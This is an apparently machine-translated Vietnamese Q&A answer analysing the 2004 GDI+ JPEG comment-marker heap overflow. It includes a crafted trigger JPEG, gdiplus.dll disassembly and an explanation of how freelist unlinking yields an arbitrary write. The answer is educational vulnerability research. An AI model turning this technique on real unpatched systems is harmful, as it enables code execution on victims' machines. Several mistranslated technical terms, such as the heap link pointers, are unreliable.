Lỗ hổng này chắc chắn là heap overflow.
Cách viết 0XFFFFFFFE byte (4 GB !!!!) có thể không làm hỏng chương trình?
Có thể, nhưng đôi khi bạn có thời gian để khai thác trước khi xảy ra sự cố (đôi khi, bạn có thể đưa chương trình trở lại thực thi bình thường và tránh sự cố).
Khi memcpy() bắt đầu, bản sao sẽ ghi đè lên một số khối heap khác hoặc một số phần của cấu trúc quản lý heap (ví dụ: danh sách miễn phí, danh sách bận, v.v.).
Tại một số điểm, bản sao sẽ gặp phải trang không được phân bổ và kích hoạt vi phạm AV (Vi phạm Truy cập) khi viết. GDI + sau đó sẽ cố gắng phân bổ một khối mới trong heap (xem ntdll!RtlAllocateHeap) ... nhưng các cấu trúc heap bây giờ tất cả điều sai lầm.
Tại thời điểm đó, bằng cách cẩn thận tạo hình ảnh JPEG của bạn, bạn có thể ghi đè cấu trúc quản lý heap bằng dữ liệu được kiểm soát. Khi hệ thống cố gắng phân bổ khối mới, nó có thể sẽ hủy liên kết một khối (miễn phí) khỏi danh sách miễn phí.
Khối được quản lý với (đáng chú ý) một cú đánh (liên kết Chuyển tiếp; khối tiếp theo trong danh sách) và nhấp nháy (liên kết ngược; khối trước trong danh sách) con trỏ. Nếu bạn kiểm soát cả hai cái nháy mắt và chớp mắt, bạn có thể có một WRITE4 (viết điều kiện gì/ở đâu) nơi bạn kiểm soát những gì bạn có thể viết và nơi bạn có thể viết.
Tại thời điểm đó bạn có thể ghi đè lên một con trỏ hàm (SEH [Structured Exception Handlers] con trỏ là mục tiêu lựa chọn tại thời điểm đó vào năm 2004) và thực thi mã.
Xem bài đăng trên blog Heap Corruption: A Case Study. Lưu ý: mặc dù tôi đã viết về khai thác bằng cách sử dụng freelist, kẻ tấn công có thể chọn một đường dẫn khác bằng siêu dữ liệu heap khác ("siêu dữ liệu heap" là các cấu trúc được hệ thống sử dụng để quản lý vùng heap, nhấp nháy và nhấp nháy là một phần của đống siêu dữ liệu), nhưng việc khai thác hủy liên kết có lẽ là khai thác "dễ nhất". Một tìm kiếm google cho "khai thác đống" sẽ trả lại nhiều nghiên cứu về điều này.
Điều này có vượt quá vùng heap và vào không gian của các chương trình khác và hệ điều hành không?
Không bao giờ. Hệ điều hành hiện đại dựa trên khái niệm không gian địa chỉ ảo nên mỗi tiến trình có không gian địa chỉ ảo riêng cho phép giải quyết tối đa 4 gigabyte bộ nhớ trên hệ thống 32 bit (trong thực tế bạn chỉ có một nửa trong số đó là người dùng) phần còn lại dành cho hạt nhân).
Tóm lại, một quá trình không thể truy cập bộ nhớ của một tiến trình khác (trừ khi nó hỏi hạt nhân thông qua một số dịch vụ/API, nhưng hạt nhân sẽ kiểm tra xem người gọi có quyền làm như vậy) không.
Tôi quyết định kiểm tra lỗ hổng này vào cuối tuần này, vì vậy chúng tôi có thể có ý tưởng hay về những gì đang diễn ra thay vì đầu cơ thuần túy. Tính dễ bị tổn thương hiện nay là 10 tuổi, vì vậy tôi nghĩ rằng đã OK khi viết về nó, mặc dù tôi chưa giải thích phần khai thác trong câu trả lời này.
Kế hoạch
Nhiệm vụ khó khăn nhất là tìm một Windows XP với chỉ SP1, vì nó là năm 2004 :)
Sau đó, tôi đã tải về một hình ảnh JPEG chỉ gồm các một điểm ảnh duy nhất, như được hiển thị bên dưới (cắt cho ngắn gọn):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Ảnh JPEG bao gồm các dấu nhị phân (phân đoạn intrduce). Trong hình trên, FF D8
là điểm đánh dấu SOI (Start Of Image), trong khi FF E0
, ví dụ, là một điểm đánh dấu ứng dụng.
Tham số đầu tiên trong đoạn đánh dấu (ngoại trừ một số điểm đánh dấu như SOI) là tham số chiều dài hai byte mã hóa số byte trong đoạn nhãn, bao gồm tham số độ dài và loại trừ điểm đánh dấu hai byte.
Tôi chỉ cần thêm điểm đánh dấu COM (0x FFFE
) ngay sau SOI, vì điểm đánh dấu không có thứ tự nghiêm ngặt.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Độ dài của đoạn COM được đặt thành 00 00
để kích hoạt lỗ hổng. Tôi cũng đã tiêm 0xFFFC byte ngay sau dấu COM với một mẫu định kỳ, một số 4 byte trong hex, sẽ trở nên hữu ích khi "khai thác" lỗ hổng bảo mật.
Debugging
nhấp đúp vào hình ảnh ngay lập tức sẽ kích hoạt các lỗi trong cấu trúc hệ thống (hay còn gọi là "explorer.exe"), ở đâu đó trong gdiplus.dll
, trong một hàm có tên GpJpegDecoder::read_jpeg_marker()
.
Chức năng này được gọi cho mỗi điểm đánh dấu trong ảnh, đơn giản là: đọc kích thước đoạn nhãn, phân bổ bộ đệm có chiều dài là kích thước phân đoạn và sao chép nội dung của phân đoạn vào bộ đệm mới được cấp phát này.
Đây là sự khởi đầu của hàm:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
điểm đăng ký để kích thước phân đoạn và edi
là số byte còn lại trong hình ảnh.
Mã này sau đó tiến hành đọc kích thước phân đoạn, bắt đầu bằng byte quan trọng nhất (chiều dài là một giá trị 16-bit):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Và byte trọng số thấp nhất:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Khi việc này được thực hiện, kích thước phân đoạn được sử dụng để phân bổ bộ đệm, theo tính toán sau:
alloc_size = segment_size + 2
này được thực hiện bởi các mã bên dưới:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call [email protected] ; GpMalloc(x)
Trong trường hợp của chúng tôi, như kích thước phân đoạn là 0, kích thước phân bổ cho các bộ đệm là 2 byte.
Lỗ hổng là ngay sau khi việc phân bổ:
.text:70E19A37 call [email protected] ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Mã này chỉ đơn giản là trừ kích thước segment_size (chiều dài bộ phận là một giá trị 2 byte) từ kích thước phân đoạn toàn bộ (0 trong trường hợp của chúng tôi) và kết thúc với một số nguyên underflow: 0-2 = 0xFFFFFFFE
mã này sau đó kiểm tra là có byte còn lại để phân tích cú pháp trong hình ảnh (đó là sự thật), và sau đó nhảy đến bản sao:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size/4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Đoạn mã trên cho thấy kích thước bản sao là các khối 32 bit 0xFFFFFFFE. Bộ đệm nguồn được kiểm soát (nội dung của hình ảnh) và đích đến là một bộ đệm trên heap.
Viết trạng
Bản sao sẽ kích hoạt một vi phạm truy cập (AV) ngoại lệ khi nó đạt đến cuối trang bộ nhớ (điều này có thể là một trong hai từ con trỏ nguồn hoặc con trỏ đích). Khi AV được kích hoạt, heap đã ở trạng thái dễ bị tấn công bởi vì bản sao đã ghi đè tất cả các khối đống sau cho đến khi một trang không được ánh xạ gặp phải.
Điều gì làm cho lỗi này có thể khai thác là 3 SEH (Trình xử lý ngoại lệ có cấu trúc; đây là thử/ngoại trừ ở mức thấp) đang bắt ngoại lệ trên phần này của mã. Chính xác hơn, SEH thứ nhất sẽ giải phóng ngăn xếp để nó trở lại phân tích cú pháp đánh dấu JPEG khác, do đó hoàn toàn bỏ qua điểm đánh dấu đã kích hoạt ngoại lệ.
Nếu không có mã SEH, mã sẽ vừa bị hỏng toàn bộ chương trình. Vì vậy, mã bỏ qua phân đoạn COM và phân tích cú pháp phân đoạn khác.Vì vậy, chúng tôi lấy lại cho GpJpegDecoder::read_jpeg_marker()
với một phân khúc mới và khi mã phân bổ một bộ đệm mới:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call [email protected] ; GpMalloc(x)
Hệ thống sẽ bỏ liên kết một khối từ danh sách miễn phí. Nó xảy ra rằng cấu trúc siêu dữ liệu bị ghi đè bởi nội dung của hình ảnh; vì vậy chúng tôi kiểm soát việc hủy liên kết với siêu dữ liệu được kiểm soát. Mã dưới đây vào đâu đó trong hệ thống (ntdll) trong quản lý đống:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Bây giờ chúng ta có thể viết những gì chúng tôi muốn, nơi mà chúng tôi muốn ...
malloc sẽ phân bổ bộ nhớ từ đống. tôi nghĩ rằng việc khai thác đã được thực hiện trước khi memcpy và sau khi bộ nhớ được phân bổ – iedoc
cũng giống như một lưu ý phụ: nó * không * memcpy cái gì thúc đẩy giá trị cho một số nguyên không dấu (4 byte), mà là phép trừ. – rev
Đã cập nhật câu trả lời trước của tôi bằng một ví dụ trực tiếp. Kích thước 'malloc'ed chỉ là 2 byte chứ không phải là' 0xFFFFFFFE'. Kích thước khổng lồ này chỉ được sử dụng cho kích thước bản sao, không phải cho kích thước phân bổ. – Neitsa